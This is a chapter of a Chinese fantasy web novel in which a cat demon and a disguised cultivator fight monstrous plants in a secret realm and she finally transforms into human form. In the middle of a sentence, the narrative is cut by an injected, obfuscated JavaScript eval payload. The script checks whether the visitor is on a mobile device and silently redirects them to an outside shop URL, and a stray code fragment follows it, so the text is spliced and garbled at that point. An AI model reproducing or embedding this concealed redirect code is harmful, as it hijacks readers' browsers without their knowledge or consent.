谢亭云还不知在他观察四周时,怀中小猫早已想了那么多,对他而言,这低价秘境如入无人之地,他虽不在乎,但也不打算放过那二人,他本想去追那二人,可怀中毛茸的触感打断了他的思绪,在心中暗道:“罢了,先助你化形,此番前来,本就是助你化形的,先找幻形花吧。”
确定那二人已跑远之后,谢亭云从枝头跃下,纵使下方湿苔遍布,他依旧稳稳落地。
“好了淮七,莫怕,有我,就算有那些妖兽,也定是先吃我,你等它们吃我时就飞快地跑远就好了。”谢亭云怕猫儿害怕,轻抚着怀中小猫,笑眯眯地说道,水色蓝眸在这雾中显得尤为亮闪。
杜若转身从谢亭云怀中爬出,跳到他的肩膀上,扇了他一巴掌,只是因为有肉垫,导致谢亭云也感受不到疼,还一脸傻笑地看着杜若,杜若一脸不屑,“保护我?算了吧,真出了事你怎么保护我?靠你那身医术还是水灵根的治疗术?别到时候没保护好我,反倒把人妖兽治好了。”
这里迷雾笼罩,脚下尽是青苔,周围又全是奇形怪状的植物,稍有不慎滑倒和直接喂妖兽没区别,谢亭云只能十分小心,他扭头朝肩上的小猫说道:“淮七,小心些,抓紧我,万不可松爪。”
杜若本想离开谢亭云自己去寻幻形花,可她又不放心把谢亭云独自一人,但不分开她不方便施展术法,只靠谢亭云这手无缚鸡之力的小郎君,不知道何年何月才能找到,她扭头看了一眼谢亭云,他皱着眉头,双手伸出,小心摸索着前方,确认没什么之后才慢慢往前挪,杜若开始在心里犯愁,“就凭这小郎君这样挪下去,得挪到什么时候才能挪出去?不过倒也奇怪,竟真没有妖兽攻击我们,难不成都被那二人引走了?”
不等杜若细想,下一秒,一个巨型藤蔓直直刺向谢亭云,谢亭云极限闪身躲避,可腿部腹部依旧被擦出一道血痕,血腥味向四周散开,方才还静止不动的花草现在开始疯狂扭动起来,不断朝谢亭云攻击。
谢亭云一把将杜若从肩膀拽下,抱入怀中,花瓣化成利刃,划破浓雾朝谢亭云攻来,纵使谢亭云躲闪再及时,也架不住对面数量多,他所过之处血腥味不断唤醒两旁的植物,那些巨大的藤蔓不停刺向谢亭云,杜若本想用术法,可奈何谢亭云抱得她太紧,让她根本无法完整运转灵力,更挣脱不了谢亭云的手臂,感受到怀中猫儿挣扎的厉害,纵然已狼狈不堪,浑身全是伤口,谢亭云也依旧喘着粗气努力柔声安慰着怀中的小猫,“别怕,淮七,不会.......不会有事的。”
无奈之下,杜若咬了谢亭云一口,本想就此让他松手,谁知他抱的更紧,杜若看着谢亭云只能干着急,他因一直全力逃命,本就大口大口喘气,加之花中毒气,他嘴唇紫得吓人,“该死的,松手啊,你再这样跑下去会跑死的!谢亭云!”急得杜若咬得越来越厉害,一口比一口狠。
像是听懂杜若在叫什么一样,谢亭云气若游丝,此刻他依旧轻声细语安慰杜若,如往常一样,只是此刻他轻声细语并非性子使然,全然是因为他几乎快要撑不住了,“无碍,淮七,我只怕是撑不了太久,我拼命跑的足够远之后,待我真的跑不动了,你就趁着它们吞噬我的时候,赶紧跑,你四只爪子跑得快,肯定能逃出去的........”
不等谢亭云说完,他就直直倒在地上,杜若从他怀中被甩出几米远,杜若看着谢亭云恨意达到顶峰,此刻的谢亭云全然没了往日的白净,浑身布满密密麻麻狰狞的伤口,嘴唇乌紫,身体止不住地抽搐。
杜若将挡在谢亭云身后,运转灵力,“我要,烧光你们!”
“火帘!”
霎时间,谢亭云四周冲起数道火墙,将他护在中间。
“火球!灼!”
刹那间,无数火球落下,将杜若身前的植物烧了个干净,可烧干净又怎样?那些植物数量之多,烧完一茬又来一茬。
若是此时来人,看着场面只觉得滑稽,一只小黑猫站在火墙外,不断运转灵力施展术法和那些巨植打斗。
“该死,数量太多了,甚至有些根本烧不动,直接火免,这小郎君气息越来越弱,在这样下去,他必死无疑!”杜若看着周围更加扭曲的花草,止不住的暗骂,她和谢亭云受伤流血产生的血腥味将远处一些狼虎妖兽也引了过来,脚下的青苔也不断吸取着二人的血液,加速失血,杜若回头看了一眼谢亭云,咬牙下定决心,“既然此前我用金丹术法也没死,那这次也一定可以,白昭月说,只要我不死,我灵海不枯竭,灵力就一直会有,那就——!来吧!”
“火离渊!”
“烬灭!”
杜若喊得嘶声力竭,四周地面岩浆翻涌,无数火柱拔地而起,直冲云霄,那火竟直接将四周雾气烧了个干净,露出了此地原本的容貌,那些枝条上垂下的根本不是枝柳,全是人骨!笼罩在此处的也根本不是迷糊,而是瘴气,脚下湿滑的也不是潮气,而是血!四周全是高耸入云的巨大植被,一时间哀嚎声不断,那些巨植不断扭动枝茎,企图扑灭烧在枝茎上的火焰,赶来想要分口羹的妖兽四处逃窜,眼前已然变成一片火海,只有一只小黑猫四肢扭动着,想要爬到少年身边。
“传闻,若是在火灵根单灵根之人释放的‘火离渊’中,便可抵御毒物入侵,能将身上毒物烧尽,只要我能撑到你身上毒被烧尽,你不死,就一定可以逃出去,太.........好了,小郎君,你不用喂妖兽了,你这么大要是被啃,肯定很痛苦,我小小一只,一口就下去了.......对不起,白昭月,淮七,我食言了。”
杜若连话都说不出了,她撑着最后一口气,想要爬回到谢亭云身边,可到底没如愿。
就在杜若昏死的瞬间,火球中的少年猛地睁眼,起身拍拍身上尘土,看向四周,那里还有半分方才的狼狈,谢亭云戳了戳那火球,很暖,不热,他又看向昏死在地上的小黑猫,眼中多了几分复杂,“本想让你趁机跑掉,好方便我出手,结果你竟这般执拗,宁愿强行破界用金丹期术法导致筋脉寸断,也要救我。”
“唉,罢了,你这样我本应开心的,可不知为何心中却堵得厉害。”
“水离渊-水圣愈!”
“起!”
赫然间,一个巨大金色水球包裹着杜若,随着谢亭云不断运转灵力,那金色液体不断涌向小黑猫身体中,帮她修复破损的经脉,巨大的金光照亮一切,也照得那妖兽四散逃离,就连攻击谢亭云和杜若的那些花草,也纷纷拔地而起,或是化成人形,飞快逃离。
“逃?”
“这里可是秘境,除了李肆张叁,再无他人,没人..........我何须隐藏实力?”
“封。”
谢亭云说的轻声细语很是随便,可随”封”字而出的是那纷飞的鹅毛大雪,风霜裹那飞雪,所过之处妖兽,植被皆被冰封,少年屹立在风雪之中,抬手间轻换一字:
“破。”
那被冰封的妖兽便瞬间化作冰屑,乘着那风霜飞雪,消散在这无垠天地之间。
谢亭云闭起双目,用神识探路,不过几息间,便找到了幻形花。
“魄刃。”
乘着剑,谢亭云带着杜若很快便到那幻形花附近,他从剑上下来,笑了笑,“原来在这崖底,也好,这样我就能装作逃跑时不慎跌落,阴差阳错助她找到了这草,幻形草我助你找到了,能否成功就看你造化了,小猫妖。”
谢亭云说干就干,直接抱着杜若坠到崖底,到崖底后,他直接在地上滚了好几圈,确认无误之后才将杜若放到幻形草旁边,自己则双腿一蹬,装睡,不对是摔晕。
可没一会,谢亭云就不行,起来挠挠身上,翻翻杜若,“这都好一会了,这小猫妖怎么还不醒?再等等。”
就这样,在谢亭云来来回回装晕、又醒,不知多少次后,杜若才睁开眼睛。
一睁眼,还不等杜若疑惑这是怎么回事,就看见眼前的幻形花,“幻....
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17950851|212788||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
.....?幻形花!”
杜若也不管为何没死,又为何在这地方,一把抓起幻形草就囫囵吞下,“只要化形成功我和小郎君活着出去的可能就更大,一定.......”
不等杜若说完,药效便霸道的冲进经脉,杜若蜷缩在地上,强忍剧痛运转灵力压制冲散药效,那微弱的灵力杯水车薪,根本不足以压制那霸道的药效,杜若浑身皮毛像是被人硬生撕下一般,不止如此,骨头也像是被人敲碎重组一般,她想叫也叫不出声,灵海中的灵力横冲直撞,几乎要将筋脉撞断。
谢亭云在外面看着从杜若毛发中溢出的黑气眉头紧皱,“你怨气当真是大,也不枉当初我把你捡回来,只是...........”
黑气越来越多,杜若又是个小黑猫,混在黑气中,早已看不出什么,杜若意识逐渐涣散,她只觉得四周好黑,她想逃,可无论往那边逃都是死路,最后,她索性躺在地上,想要直接等死,儿时的记忆不断涌出,杜若看到了小时候给爷爷喂饭时的场景,她灰头土脸的,纵使爷爷一直再念叨他的儿子,向小杜若诉苦,可小小的孩童眼睛依旧亮亮的,充满希望,可后来,老人们接二连三的离开,只剩小杜若一人,周围大人指指点点,没一个愿意再多一张嘴吃饭,本应给小杜若的赔偿金,也在家里人死光之后,被那些当官的贪完。
“这就是走马灯吗?可为什么,别人的走马灯是那么的幸福,我的只有痛苦?我都要死了,为什么还要这么痛苦!为什么?”
啊啊啊啊———
“为什么我都要死了还要这样痛苦?为什么!”
看着那些欺负自己只是小孩的虚伪嘴脸,杜若心中恨意迸发,“那就——一起死吧!凭什么只有我一人痛苦!凭什么只有我一个人是失败的!我谁都救不了!”
黑气弥漫,惊扰了附近的妖兽,可碍于谢亭云,无兽敢上前,谢亭云看着眼前的一团黑气,手里的剑却始终落不下去,他清楚这是唯一杀死猫妖的机会,若现在不杀,一会他走火入魔,影响了附近的妖兽,可就不是这么简单了。
心里是这样想,可剑就是落不下去。
“再等等罢。”
杜若猛地睁眼,开始吸收周身的黑气,谢亭云死死握住剑柄,他都分不清是剑抖还是手逗,在或是.......心抖。
“不是的,杜若。”
“你把自己养的很好啊,很成功,你没有走上偏路,依旧善良勇敢,敢爱敢恨,无畏不惧,会做很多好吃的,会收养小猫,看到流浪的老人还是会帮助她们,你把自己养的很成功的!”
灵海深处,另一种声音突然出现,那声音太过熟悉,熟悉到杜若恍惚了一下,也拉回来了她的一丝神智,“白......白昭月?”
“没事的,杜若,有我娘,有我,还有淮七,现在,你不止是一个人了,你说你恨你母父,可你也成了和她们一样的人,不然,你不会这般拼命去救谢亭云,或许当年,你的母父和你想的一样,她们也不忍看着那么多鲜活的生命就此逝去,她们........也想多救一些生命。”
“不要怪她们了好吗?也不要再怪你自己了。”
“复活我母亲的事情更是急不得,我知道你想留着谢亭云身边报恩,那也好,不急的,有了爱的人是一件很美好的事情。”
“杜若,恭喜你。”
“有了自己所爱的人。”
“来,我帮你,我们一起,冲破这里!”
“好!“杜若看着白昭月有了底气,她紧紧握住白昭月的手,和她一起喊。
“火起于渊!焚于万障”
“斩!”
眼看杜若要周身黑气越来越淡,谢亭云赶紧躺下装晕。
杜若睁眼起身,低头看着自己沾满灰尘的手,是手,不再是那毛茸茸的黑爪子。
“我?成功了?我化形成功了!”
还不等杜若兴奋激动,灵海中又传出一道声音。